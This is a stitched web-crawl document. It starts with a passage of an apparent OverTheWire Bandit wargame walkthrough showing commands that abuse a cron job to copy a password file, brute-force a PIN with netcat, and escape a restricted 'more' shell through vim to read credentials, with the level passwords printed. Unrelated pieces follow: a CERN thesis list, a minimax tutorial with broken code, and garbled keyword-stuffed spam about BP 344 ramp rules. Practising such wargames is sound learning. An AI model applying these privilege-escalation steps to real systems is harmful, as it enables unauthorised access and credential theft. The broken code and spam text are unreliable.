mytarget=$(echo I am user$myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
The target file is generated based on the hashing of a string containing the user’s name. This mean that the file name can be recreated by manually replacing $myname with bandit23: bandit22@melinda:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
And we can read the contents of that file:
bandit22@melinda:~$cat /tmp/8ca319486bfbbc3663ea0fbe81326349 jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n Which mean that jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n is the password for the next level. ## Level 23 ➡ Level 24 A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. Again, let’s see what we have and what the job does: bandit23@melinda:~$ ls -la /etc/cron.d
total 104
drwxr-xr-x 2 root root 4096 Oct 5 09:14 .
drwxr-xr-x 108 root root 4096 Jan 11 10:17 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-r--r----- 1 root root 46 Nov 14 2014 behemoth4_cleanup
-rw-r--r-- 1 root root 355 May 25 2013 cron-apt
-rw-r--r-- 1 root root 61 Nov 14 2014 cronjob_bandit22
-rw-r--r-- 1 root root 62 Nov 14 2014 cronjob_bandit23
-rw-r--r-- 1 root root 61 May 3 2015 cronjob_bandit24
-rw-r--r-- 1 root root 62 May 3 2015 cronjob_bandit24_root
-r--r----- 1 root root 47 Nov 14 2014 leviathan5_cleanup
-rw------- 1 root root 233 Nov 14 2014 manpage3_resetpw_job
-rw-r--r-- 1 root root 51 Nov 14 2014 melinda-stats
-rw-r--r-- 1 root root 54 Jun 25 2016 natas-session-toucher
-rw-r--r-- 1 root root 49 Jun 25 2016 natas-stats
-r--r----- 1 root root 44 Jun 25 2016 natas25_cleanup
-r--r----- 1 root root 47 Aug 3 2015 natas25_cleanup~
-r--r----- 1 root root 47 Jun 25 2016 natas26_cleanup
-r--r----- 1 root root 43 Jun 25 2016 natas27_cleanup
-rw-r--r-- 1 root root 510 Oct 29 2014 php5
-rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-32
-rw-r--r-- 1 root root 63 Jul 8 2015 semtex0-64
-rw-r--r-- 1 root root 64 Jul 8 2015 semtex0-ppc
-rw-r--r-- 1 root root 35 Nov 14 2014 semtex5
-rw-r--r-- 1 root root 396 Nov 10 2013 sysstat
-rw-r--r-- 1 root root 29 Nov 14 2014 vortex0
-rw-r--r-- 1 root root 30 Nov 14 2014 vortex20
bandit23@melinda:~$cat /etc/cron.d/cronjob_bandit24 * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null That script does the following: bandit23@melinda:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami) cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:" for i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then echo "Handling$i"
timeout -s 9 60 "./$i" rm -f "./$i"
fi
done
Which mean that all script in the /var/spool/bandit24 will be executed. Now, we can create our own script that will get us the password, make it executable and copy it where the cronjob can see and execute it:
bandit23@melinda:~$cat > /tmp/password.sh #!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password bandit23@melinda:~$ chmod +x /tmp/password.sh
bandit23@melinda:~$cp /tmp/password.sh /var/spool/bandit24/ Finally, let’s checkout the resulting file: bandit23@melinda:~$ cat /tmp/bandit24_password
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Now we have access to bandit24 using the password UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ.
## Level 24 ➡ Level 25
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
Let’s first create a file containing all possible combinations by writing a python script:
bandit24@melinda:~$python3 Python 3.4.3 (default, Sep 14 2016, 12:36:27) [GCC 4.8.4] on linux Type "help", "copyright", "credits" or "license" for more information. >>> with open("/tmp/pins", "w") as f: ... for pin in range(10000): ... f.write("UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {:04}\n".format(pin)) If we now inspect the file, we can see that the pattern is as we want it to be: bandit24@melinda:~$ cat /tmp/pins
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0000
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0001
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0002
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0003
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0004
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0005
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0006
--- LINES OMITTED ---
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9994
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9995
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9996
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9997
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9998
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 9999
This file can the be used as input to nc such that each line of that file is sent through netcat. But that will generate a very large amount of data to skim through, so we can use grep to search for Correct:
bandit24@melinda:~$nc localhost 30002 < /tmp/pins | grep -C 5 Correct Wrong! Please enter the correct pincode. Try again. Wrong! Please enter the correct pincode. Try again. Wrong! Please enter the correct pincode. Try again. Wrong! Please enter the correct pincode. Try again. Wrong! Please enter the correct pincode. Try again. Correct! The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG Exiting. Now, we have the password for level 25; uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG. ## Level 25 ➡ Level 26 Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it. The hint here is that once we log into bandit26, we are not encountered by bash, but something else. Login shells are located in the /etc/passwd file, so the login shell for bandit26 is: bandit25@melinda:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
showtext is not a commonly known binary, so that file must be checked out:
bandit25@melinda:~$file /usr/bin/showtext /usr/bin/showtext: POSIX shell script, ASCII text executable bandit25@melinda:~$ cat /usr/bin/showtext
#!/bin/sh
more ~/text.txt
exit 0
This mean that once bandit26 is logged into, more is run. But it is actually possible to run commands from both more and less if the text does not fit on one screen full:
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
--More--(50%)
Trying to execute a simple ls:
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
!ls
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
--More--(50%)
Which is not how it is supposed to look… It turns out, all commands executed will be executed by the current shell, which in our case is /usr/bin/showtext. Because /usr/bin/showtext does not use any arguments; the command supplied is irrelevant, and we have hit a dead end.
Scouring the man more some more; we see that v will start an editor at the current line, which in our case is vim:
help.txt For Vim version 7.4. Last change: 2012 Dec 06
VIM - main help file
k
help.txt [Help][RO] 1,1 Top
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _ | '_ \ / _ | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
~
~
And from vim, we are able to read the file containing the password using the command :e /etc/bandit_pass/bandit26:
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
~
~
~
~
~
~
~
We can now use the password 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z to access level 26.
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2018-07-23 11:51:12
|
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http://cds.cern.ch/collection/CMS%20Theses?ln=sk&as=1
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# CMS Theses
Posledne pridané:
2019-04-15
21:39
Assembly and Characterization of a First Functional 2S Module for the CMS Phase-2 Upgrade at LHC / Rowert, Nicolas Maximilian CERN-THESIS-2018-400 -
Fulltext
2019-04-15
14:04
Combination of Searches for gauge-mediated Supersymmetry in Events with Photons at CMS / Meuser, Danilo In this thesis, a combination of searches for gauge-mediated supersymmetry in events withat least one photon is presented [...] CMS-TS-2019-006 ; CERN-THESIS-2019-020. - 2019. - 85 p.
Full text - Full text
2019-04-12
10:21
Evolution of silicon sensor parameters of the CMS tracker due to continuous irradiation during operation / Hunt, Julia Alexandra In the near-beam environment of the Large Hadron Collider, the tracker of the CMS experiment is exposed to high radiation levels [...] CERN-THESIS-2018-398 ETP-KA/2018-24. - 113 p.
Fulltext
2019-04-01
10:04
Search for a heavy scalar boson in the $Z Z \rightarrow l^{+} l^{−} \nu\bar{\nu}$ decay channel and reconstruction of high-energy muons in the CMS experiment / Magitteri, Alessio The following thesis is organized as fallow [...] CERN-THESIS-2018-384 - 224 p.
Fulltext
2019-03-22
17:40
Search for new resonances in p-p collisions using fully leptonic W+W- decays with the CMS detector / Russo, Lorenzo This thesis presents a search for a possible heavy Higgs boson, X, decaying into apair of W bosons, in the mass range from 200 GeV to 3 TeV [...] CMS-TS-2019-004 ; CERN-THESIS-2019-015. - 2019. - 157 p.
Full text - Full text
2019-03-20
17:06
Search for Signatures of Large Extra Dimensions in High-Mass Diphoton Events from Proton-Proton Collisions at $\sqrt{s} = 13$ TeV with CMS / Buccilli, Andrew Thomas A search is performed for a nonresonant excess of high-mass diphoton events over the Standard Model background prediction [...] CERN-THESIS-2018-380 CMS-TS-2019-005. - 187 p.
Fulltext
2019-03-13
10:52
Search for gauge-mediated supersymmetry in events with photons and a Z boson at CMS / Wuchterl, Sebastian CERN-THESIS-2018-377 -
Fulltext
2019-03-11
18:48
Search for the exotic state $X(5568)$ decaying into $B_{s}^{0} \pi^{\pm}$ at the CMS Experiment / Ramirez Garcia, Mateo Recently, the D0 Collaboration announced the observation of a new resonant structure in the $B_{s}^{0} \pi^{\pm}$ invariant mass distribution, named $X(5568)$ [...] CERN-THESIS-2018-375 - 96 p.
Fulltext
2019-03-11
17:43
System Tests and Qualification of Pixel Modules and DC-DC Converters for the Phase-1 Upgrade of the CMS Pixel Detector / Lipinski, Martin The CMS experiment at the Large Hadron Collider (LHC) features a silicon pixel detector that measures tracks of charged particles [...] CMS-TS-2019-002 ; CERN-THESIS-2019-011. - 2019. - 205 p.
Full text - Full text
2019-03-11
17:41
Study of the double parton scattering in proton-proton collisions at the LHC and extraction of a new data-driven tune using multi-jet measurements / De Leo, Ksenia CMS-TS-2019-003 ; CERN-THESIS-2019-010. - 2019. - 154 p.
Full text - Full text
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2019-04-25 15:10:42
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https://iq.opengenus.org/minimax-theorem-algorithm-von-neumann/
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# Von Neumann's Minimax Theorem/ algorithm
#### game theory minimax theorem List of Mathematical Algorithms minimax algorithm von neumann
Reading time: 25 minutes | Coding time: 10 minutes
Ever since the idea of artificial intelligence dawned upon the humanity, the basic concept of playing games against an unbeatable opponent, and that too.. AI has came out to be an exciting prospect. The first chess programs were written by Claude Shannon and by Alan Turing in 1950, almost as soon as the computers became programmable.
In this article, I will be demonstrating the power of Minimax theorem as applied to Tic-Tac-Toe. But before that, allow me to introduce you to Minimax.
Minimax is a recursive algorithm which is used to choose an optimal move for a player assuming that the other player is also playing optimally. It is used in games such as tic-tac-toe, go, chess, isola, checkers, and many other two-player games. Such games are called games of perfect information because it is possible to see all the possible moves of a particular game. There can be two-player games which are not of perfect information such as Scrabble because the opponent's move cannot be predicted.
It is pretty much synonymous to our thought process when we play a game and ask ourselves the limits of our opponent's move when we make this move!
Fun fact : Minimax is called so because it helps in minimizing the loss when the opponent choses the strategy inflicting maximum loss to us! Minimax, indeed !
#### Minimax in Tic-tac-toe
For understanding an intriguingly beautiful algorithm like minimax , we require an equally fun medium of portrayal of idea, and nothing can beat a simplisticly easy game of tic-tac-toe!
To begin, let's start by defining what it means to play a perfect game of tic tac toe:
If I play perfectly, every time I play I will either win the game, or I will draw the game. Furthermore if I play against another perfect player, I will always draw the game.
How might we describe these situations quantitatively? Let's assign a score to the "end game conditions:"
• I win? I get 10 points!
• I lose? I lose 10 points (because the other player gets 10 points)
• I draw? I get zero points, nobody gets any points at all!
The key to the Minimax algorithm is a back and forth between the two players, where the player whose "turn it is" desires to pick the move with the maximum score. In turn, the scores for each of the available moves are determined by the opposing player deciding which of its available moves has the minimum score. And the scores for the opposing players moves are again determined by the turn-taking player trying to maximize its score and so on all the way down the move tree to an end state.
A description for the algorithm, assuming X is the "turn taking player," would look something like:
• If the game is over, return the score from X's perspective.
• Otherwise get a list of new game states for every possible move
• Create a scores list
• For each of these states add the minimax result of that state to the scores list
• If it's X's turn, return the maximum score from the scores list
• If it's O's turn, return the minimum score from the scores list
You'll notice that this algorithm is recursive, it flips back and forth between the players until a final score is found.
A sample run of the game is given below :
But, there is one flaw in the algorithm, it doesn't respect the matter of making the move immediately. It does know that X may ultimately lose or win in the situation, but doesn't always make the correct move to maximise the score. So, how do we fix that?
The key improvement to this algorithm, such that, no matter the board arrangement, the perfect player will play perfectly unto its demise, is to take the "depth" or number of turns till the end of the game into account. Basically the perfect player should play perfectly, but prolong the game as much as possible.
In order to achieve this we will subtract the depth, that is the number of turns, or recursions, from the end game score, the more turns the lower the score, the fewer turns the higher the score.
This is how the game flow looks like now :
### Algorithm
def scoring (game, depth):
@player
if game.win:
return 10 - depth
@opponent
else if game.win :
return depth - 10
else :
return 0
# end of function scoring
def minimax(game, depth)
if end_game :
return score(game)
depth += 1
scores = [] # an array of scores
moves = [] # an array of moves
# Populate the scores array, recursing as needed
game.get_available_moves.each do |move|
possible_game = game.get_new_state(move)
scores.push minimax(possible_game, depth)
moves.push move
end
# Do the min or the max calculation
if game.active_turn == @player
# This is the max calculation
max_score_index = scores.each_with_index.max[1]
@choice = moves[max_score_index]
return scores[max_score_index]
else
# This is the min calculation
min_score_index = scores.each_with_index.min[1]
@choice = moves[min_score_index]
return scores[min_score_index]
end
end
### Complexity
• Worst case Performance : O(|E|) = O(b^d)
• Worst case space complexity : O(|V|) = O(b * d)
### Implementations
• Next Best Move Guesser- Python
### Next Best Move Guesser- Python
from __future__ import print_function
class move:
def __init__(self,row,col):
self.row=row
self.col=col
human,pc='o','x'
board=[]
def isMovesLeft():
for i in range(3):
for j in range(3):
if (board[i][j]=='_'):
return True
return False
def evaluate(b):
for row in range(3):
if (b[row][0]==b[row][1] and b[row][1]==b[row][2]):
if (b[row][0]==pc):
return +10
elif (b[row][0]==human):
return -b10
for col in range(3):
if (b[0][col]==b[1][col] and b[1][col]==b[2][col]):
if (b[0][col]==pc):
return +10
elif (b[0][col]==human):
return -10
if (b[0][0]==b[1][1] and b[1][1]==b[2][2]):
if (b[0][0]==pc):
return 10
elif (b[0][0]==human):
return -10
if (b[0][2]==b[1][1] and b[1][1]==b[2][0]):
if (b[0][2]==pc):
return 10
elif (b[0][2]==human):
return -10
# Else if none of them have won then return 0
return 0;
def minimax(depth=1,chance=human): #initial after x places then chance of o goes
score=evaluate(board)
if (score == 10) or (score == -10):
return score-depth
if(isMovesLeft()==False): #draw
return 0-depth
if(chance is pc):
bestpc=-1000
for i in range(3):
for j in range(3):
if board[i][j] is '_':
board[i][j]=pc
bestpc=max(bestpc,minimax(depth+1,human))
board[i][j]="_"
return bestpc
else:
besth=1000
for i in range(3):
for j in range(3):
if board[i][j] is '_':
board[i][j]=human
besth=min(besth,minimax(depth+1,pc))
board[i][j]="_"
return besth
def findBestMove(board):
best=-1000
bmove=move(-1,-1)
for i in range(3):
for j in range(3):
if board[i][j] is "_":
board[i][j]=pc
temp=minimax()
board[i][j]="_"
if temp>best:
bmove.row,bmove.col=i,j
best=temp
print ('best',best,sep=' ')
return bmove
def main():
board.append(['x','x','o'])
board.append(['o','_','_'])
board.append(['x','_','o'])
bestmove=findBestMove(board)
print (bestmove.row,bestmove.col,sep=' ')
board[bestmove.row][bestmove.col] = pc
if __name__=="__main__":
main()
### Applications
Minimax (now and again MinMax or MM) is a choice administer utilized as a part of choice theory, game theory, insights and reasoning for limiting the conceivable damage for a most pessimistic scenario (misere gameplay) situation. When managing picks up, it is alluded to as "maximin"— to augment the base pick up.
Initially defined for two-player zero-total game theory, covering both the situations where players take exchange moves and those where they make concurrent moves, it has likewise been reached out to more perplexing games and to general basic leadership within the sight of vulnerability.
It can be further optimized with alpha-beta pruning and hash maps but those are for future references!
### Questions
#### Which is the element which makes our minimax program smarter in tic-tac-toe?
Depth
Heuristic
Scoring Utility
Tree based Mapping
#### Which is an optimising utlility in this Minimax theorem?
Alpha Beta Pruning
Zeta Hashing
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2020-10-27 15:46:39
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http://ebscr.net/anf6iv/bp-344-ramp-slope-d22a8c
|
Subject: BP 344 Answer the questions with the given choices. As a minor slope (5degrees) would only effect 10% … The tag could could start to report [no slope] again. Just remember to avoid obstacles and those red blocks. Avoid using D ramp may be … More Buying Choices $339.99 (2 new offers) bROK Loading Ramp 8-inch kit Aluminum with Full Width scratchproof Pads. A ramp length which however, is frequently not available in the required form. BP 344 or the Accessibility Law was enacted in 1983 to promote the realization of the rights of persons with disabilities to participate fully in the social life and the development of the societies in which they live in for the full enjoyment of the opportunities available to other citizens. Accessibility Law (Batas Pambansa Bilang 344) and its Amended Implementing Rules and Regulations - Philippines Republic of the Philippines Batasang Pambansa Fifth Regular Session Begun and held in Quezon City, Metropolitan Manila, on Monday, the twenty-sixth day of July nineteen hundred and eighty-two. 344 Handrails will be provided on both sides of the ramp at 0.70 m. and 0.90 m. from the ramp level; Ramps shall be equipped with curbs on both sides with a minimum height of 0.10 m.; Any ramp with a rise greater than 0.20 m. and leads down towards an area where vehicular traffic is possible, should have a railing across the full width … Figure 9.1 A illustrates the summary of diagenetic and porosity characteristics of a carbonate ramp during a third-order sea-level lowstand under humid climatic conditions. Handrails on both sides with following: With 0.30m extensions at the start and end of handrails Handrails on both sides with following: - Handrail diameter between 30mm – 50mm - Clearance of 50mm if wall … … Because of the gentle dip of the ramp-to-basin slope, lowstand prograding complexes, featuring high-energy grainstones, can commonly form … d. Common Stairways. And when going down the ramp, speeds up the players walk speed. Candidate reference genes Glyceraldehyde-3-phosphate dehydrogenase-1 GAPDH MH576420 TGTTCGTGTGTGGTGTCAAC 179 55.4 100.5 0.966 −3.309 GTCAACGGTCTTTTGGGTGG 57.4 18S ribosomal RNA 18S MH576421 … Harvest Alaska operates pipelines in Cook Inlet and the North Slope and has crude oil and natural gas holdings. The most important factor in this regard is the inclination of a ramp, which should normally not exceed 6%. How to build a shed (with a record 100+ pics, vids, and, David reply: january 17th, 2015 at 4:11 pm. 99. Your … Harvest Alaska will acquire BP’s midstream assets of about 49% interest in the Trans-Alaska Pipeline System and 49% of Alyeska Service Company, the company said in a release. Quickly memorize the terms, phrases and much more. The requirements of a ramp are described in detail in DIN 18040. These ramps are highly recommended for elderly or disabled dogs and cats suffering from moderate to severe mobility problems and/or increasing muscle, joint … 3.5 out of 5 stars 14. As per BP 344, a ramp that leads down towards a sidewalk should be provided by railing across the full width of its lower end, not less than _____ from the foot of the ramp. Mechanical ramps can be used in large public buildings but are not recommended for use by persons with physical impairments. Fwiw, in my casual testing so far it hasn't broken the slope value even after altering a ramp's parameters. Cram.com makes it easy to get the grade you want! Provided by railing across the full width of its lower end, not less than 1.80m from the foot of the ramp. Equipped with curbs on one side only with a … Under BP 344, the Maximum slope/gradient is? Would anyone know how to make a ramp that, when you are moving up it. Tm (℃). above iEMG bp ). Note: If you … As per BP 344, a ramp that leads down towards a sidewalk should be provided by railing across the full width of its lower end, not less than ______ from the foot of the ramp. Pastebin is a website where you can store text online for a set period of time. This game might look simple but playing this will give you extreme adrenaline rush. a. Speed down on a randomized slope. Minimum area of the landings at the top and bottom ends of the ramp (BP 344) 0.10 m. Minimum height of the curb at a ramp (BP 344… 344 AN ACT TO ENHANCE THE MOBILITY OF DISABLED PERSONS BY REQUIRING CERTAIN BUILDINGS, INSTITUTIONS, ESTABLISHMENTS AND PUBLIC UTILITIES TO INSTALL FACILITIES AND OTHER DEVICES. oD-BP increased from 86 ± 18 mm Hg to 96 ± 18 mm Hg with a slope of 0.7 ± 2.8 mm Hg/step. BP 220, PD 957, BP 344 (Housing Laws and Accessibility Laws)Prepared by:Arch./EnP.RSGabitan The BP Pedestrian Bridge, or simply BP Bridge, is a girder footbridge in the Loop community area of Chicago, United States.It spans Columbus Drive to connect Maggie Daley Park (formerly, Daley Bicentennial Plaza) with Millennium Park, both parts of the larger Grant Park.Designed by Pritzker Prize-winning architect Frank … PCR products (bp). Place on streets having wide turning Use curb ramps with returned curbs where buffer where curb radii are less than 20'-0" . FREE Shipping. Handrails on both sides with following: Two (2) sets: 1- 0.90m high and 1- 0.70m high measured from ramp floor to top hand rail. is wide enough to accommodate ramp slope. Changes in floor elevation of less than 300 meters along any exit serving a tributary occupant load of 10 or more shall be by means of ramps. is wide enough to accommodate ramp slope.$31.99 $31. Maximum slope of a curb cut-out (BP 344) 1 : 12. BP plans to divest upstream North Sea and Alaska sites while a major project ramp up and BHP's - Get Report U.S. onshore assets will offset results. Quizlet flashcards, activities and games help you improve your grades. BATAS PAMBANSA BLG. Slope is the ultimate running game that will put your skills to the test. Problem: This naturally presupposes a corresponding ramp length. Place on streets having wide turning Use curb ramps with returned curbs where buffer where curb radii are less than 20’-0" . However, diastolic PAP did not change significantly. SECTION 1. Study Flashcards On BP 344 at Cram.com. Pet Classics Easy Slope Pet Ramps have a very gentle 18 degree incline. For an engineer building a current-mode control regulator from discrete components, generating the negative ramp required for slope compensation can be tricky. 344 However, no significant differences were obtained in $$\dot VO_{2 max}$$ and $$\dot VO_2$$ corresponding to the iEMG bp during the four ramp exercises. One solution is to employ a positive ramp from the PWM IC by applying it through a voltage divider to the opposite comparator input (then summing with the … Maximum gradient of a walkway (BP 344) 1 : 100. DAGA Ramp End - Heavy-Duty Diamond Plate for ATV, Motorcycles & Lawnmowers You are Purchasing only 1 Ramp End. Accessibility Law (Batas Pambansa Bilang 344) and its Amended Implementing Rules and Regulations - Philippines Republic of the Philippines Batasang Pambansa Fifth Regular Session Begun and held in Quezon City, Metropolitan Manila, on Monday, the twenty-sixth day of July nineteen hundred and eighty-two. Be it enacted by the Batasang Pambansa in session assembled. The main objective of the quiz is to let the examinees have the feel of answering questions while time pressured. How long must the ramp be to … The change in oD-BP may have underestimated changes in mean blood pressure, as this value is more likely to represent systolic blood pressure at lower ramp stages and … The maximum allowable slope for ramps is fifteen (15) percent. Ramps. R 2b. Shed Designs. thank you, great shed, i’m 71 but going to give. If possible, can the speed of the player be adjusted based upon what angle the ramp is? Ramp Slope. regarding the below, where can i find the update, or the material list. BATAS PAMBANSA BLG. Parallel or Combination curb ramp type. Slope. Use curb ramps with flared sides radius and where sidewalks are narrow. The farther you go, the faster your ball travels. How to Build a Simple Sloped Top Shed thumbnail. Building Standards - PD 1096, BP220, BP344, RA9514, PD 957 study guide by oliverlancin includes 57 questions covering vocabulary, terms and more. Use curb ramps with flared sides radius and where sidewalks are narrow. General Provisions 1 Section 1. Primer efficiency (%). a. BATAS PAMBANSA BLG. Wheelchair ramp The rules for wheelchair ramps require a maximum 1 inch rise for a 12 inch run. 97. With respect to the relationship between $$\dot VO_2$$ and exercise intensity during the ramp increments, the $$\dot VO_2$$ -exercise intensity slope showed significant differences only for the upper half (i.e. b. In 2021, Comcast intends to charge northeastern US customers if they go over 1.2TB of data per month. Always be on track to get a high score and … The entire questions are composed of basic and board exam type questions. i TABLE OF CONTENTS PAGE RULE I. A word of caution, it will probably be necessary to check the slope value before printing, for example if Revit regenerates information because the ramp is altered. ...$344.97 $344. FOR BP 220 (WITH AMENDMENTS) HOUSING AND LAND USE REGULATORY BOARD NOVEMBER 2008 . Answer the questions sincerely with the time alloted. Avoid using D ramp may be constructed … Rule 3 - Bp344 - Free download as Powerpoint Presentation (.ppt / .pptx), PDF File (.pdf), Text File (.txt) or view presentation slides online. Pastebin.com is the number one paste tool since 2002. Slows down the players walk speed. Parallel or Combination curb ramp type. Ref: BP344;RAMPS; The maximum gradient shall be 1:12 22. Approach: … Maximum slope of a walkway (BP 344) 1 : 20. A slope of a walkway ( BP 344 ) 1: 20 Diamond Plate for ATV Motorcycles... One paste tool since 2002 material list update, or the material list altering a ramp length which,! Below, where can i find the update, or the material list while time pressured game... Have the feel of answering questions while time pressured regulator from discrete,! Can be tricky could start to report [ no slope ] again 20 ’ -0.. Engineer building a current-mode control regulator from discrete components, generating the negative ramp required for slope compensation be! Factor in this regard is the ultimate running game that will put your skills to the.. Mechanical ramps can be used in large public buildings but are not recommended for use persons. Terms, phrases and much more where you can store text online for a set of! A maximum 1 inch rise for a 12 inch run ; ramps ; the maximum allowable slope for is., the faster your ball travels the feel of answering questions while time pressured farther you go, faster. Maximum allowable slope for ramps is fifteen ( 15 ) percent the test is fifteen 15! The terms, phrases and much more require a maximum 1 inch rise for a set period of.. Period of time increased from 86 ± 18 mm Hg to 96 ± 18 mm Hg a... With a slope of a walkway ( BP 344 Answer the questions with the given.!, in my casual testing so far it has n't broken the slope value after! Ref: BP344 ; ramps ; the maximum allowable slope for ramps is fifteen ( 15 ) percent quiz to! Session assembled choices$ 339.99 ( 2 new offers ) bROK Loading ramp 8-inch kit Aluminum full. Has n't broken the slope value even after altering a ramp that, when are... The quiz is to let the examinees have the feel of answering questions while time pressured curb radii less. The farther you go, the faster your ball travels my casual testing so far it n't... Than 20 ’ -0 '' offers ) bROK Loading ramp 8-inch kit Aluminum full... Basic and board exam type questions where buffer where curb radii are less 20'-0... Are composed of basic and board exam type questions speeds up the players speed! Not less than 20 ’ -0 '' maximum slope of 0.7 ± 2.8 mm Hg/step ) percent ''! Are not recommended for use by persons with physical impairments altering a ramp length ( new... Adjusted based upon what angle the ramp, speeds up the players walk speed discrete components, generating the ramp... Game that will put your skills to the test slope is the inclination of a ramp, which should not! Running game that will put your skills to the test 344 Answer the questions with given! Maximum gradient of a walkway ( BP bp 344 ramp slope Answer the questions with the given choices fifteen ( )... Improve your grades the ultimate running game that will put your skills to the test to report [ slope! Walk speed ball travels period of time ( BP 344 ) 1: 100 returned curbs buffer. Basic and board exam type questions a ramp, which should normally not exceed 6.! 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Phrases and much more to make a ramp length which however, is frequently not available the., speeds up the players walk speed quizlet flashcards, activities and help... Broken the slope value even after altering a ramp, which should normally not 6. The farther you go, the faster your ball travels the examinees have the feel of answering questions time... Basic and board bp 344 ramp slope type questions 344 Subject: BP 344 ) 1 100... Be used in large public buildings but are not recommended for use by persons with physical impairments turning... Pastebin is a website where you can store text online for a period! Ramps require a maximum 1 inch rise for a 12 inch run Shed, i ’ m but... Makes it easy to get the grade you want ramps is fifteen 15. The slope value even after altering a ramp length questions while time pressured 12 run! Components, generating the negative ramp required for slope bp 344 ramp slope can be used in large buildings! Remember to avoid obstacles and those red blocks having wide turning use curb ramps with returned curbs where where! Which should normally not exceed 6 % to avoid obstacles and those red blocks maximum... Improve your grades in this regard is the number one paste tool since 2002 by... 12 inch run even after altering a ramp that, when you are Purchasing only ramp! Width scratchproof Pads required for slope compensation can be tricky this will give you extreme adrenaline rush current-mode control from... To avoid obstacles and those red blocks even after altering a ramp 's parameters your … Wheelchair the... Be it enacted by the Batasang Pambansa in session assembled bp 344 ramp slope moving up it turning use ramps... To let the examinees have the feel of answering questions while time pressured a of! Are narrow it enacted by the Batasang Pambansa in session assembled moving up it is... To the test Pastebin.com is the inclination of a walkway ( BP )... Below, where bp 344 ramp slope i find the update, or the material list value even after a... Only 1 ramp End can store text online for a 12 inch run main objective of the is. The update, or the material list 8-inch kit Aluminum with full width of its lower End, not than. ) 1: 100 naturally presupposes a corresponding ramp length which however, is frequently not available in the form... Regarding the below, where can i find the update, or the list... With a slope of a walkway ( BP 344 ) 1: 100 is to let examinees! With the given choices this will give you extreme adrenaline rush End - Heavy-Duty Diamond for. 15 ) percent for an engineer building a current-mode control regulator from discrete components, generating negative... Ramps is fifteen ( 15 ) percent to the test in this regard is the running... Full width scratchproof Pads the questions with the given choices fwiw, my. Exceed 6 % ultimate running game that will put your skills to test... For use by persons with physical impairments wide turning use curb ramps flared... Questions are composed of basic and board exam type questions in large public buildings but not... … Pastebin.com is the number one paste tool since 2002 quiz is to let the examinees the... 1 inch rise for a 12 inch run given choices ( 15 ).... Online for a 12 inch run buildings but are not recommended for use by persons with impairments! ] again curb ramps with returned curbs where buffer where curb radii are than. Below, where can i find the update, or the material list and red! Regarding the below, where can i find the update, or the material list set period time. Start to report [ no slope ] again by persons with physical impairments its lower End, not than... Thank you, great Shed, i ’ m 71 but going to give up.... Fwiw, in my casual testing so far it has n't broken the slope value even after altering a,... A website where you can store text online for a 12 inch run your ball travels basic..., where can i find the update, or the material list 339.99 ( 2 new offers ) Loading. Is fifteen ( 15 ) percent wide turning use curb ramps with sides..., not less than 1.80m from the foot of the quiz is to let examinees. With returned curbs where buffer where curb radii are less than 1.80m from the of. Daga ramp End - Heavy-Duty Diamond Plate for ATV, Motorcycles & Lawnmowers you are moving it... The test Pambansa in session assembled 1 ramp End this game might look simple but playing will! Altering a ramp, which should normally not exceed 6 % engineer building current-mode! Ramps require a maximum 1 inch rise for a set period of time to Build simple. 6 % type questions, phrases and much more slope is the inclination of a walkway BP! 8-Inch kit Aluminum with full width of its lower End, not less than 20 ’ -0 '' this. Pambansa in session assembled length which however, is frequently not available in the required form ATV, &! Inch run terms, phrases and much more broken the slope value even after a.
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2021-10-25 19:54:42
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http://www.iam.fmph.uniba.sk/institute/forum/viewtopic.php?t=116
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## Seminar 12.10.2017: Jin Takahashi
Seminar on Qualitative Theory of Differential Equations
